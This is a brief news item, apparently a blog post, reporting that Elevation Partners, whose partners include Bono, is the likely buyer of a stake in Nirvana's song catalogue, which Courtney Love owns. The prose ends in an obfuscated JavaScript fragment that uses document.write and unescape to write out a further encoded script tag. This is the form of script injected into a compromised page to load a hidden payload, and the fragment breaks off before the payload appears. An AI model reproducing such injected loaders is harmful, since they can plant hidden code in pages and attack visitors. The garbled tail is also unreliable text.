James Hall of the U.K.'s Telegraph.co.uk is reporting that Elevation Partners - the private equity company whose partners include Bono, the U2 singer - is thought to be the front-runner in a multi-million pound deal to acquire a stake in the back catalogue of Nirvana, the 1990s grunge pioneers.
The publishing rights to the group's songs are currently owned by Courtney Love, the widow of Kurt Cobain, Nirvana's singer, who committed suicide in April 1994.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22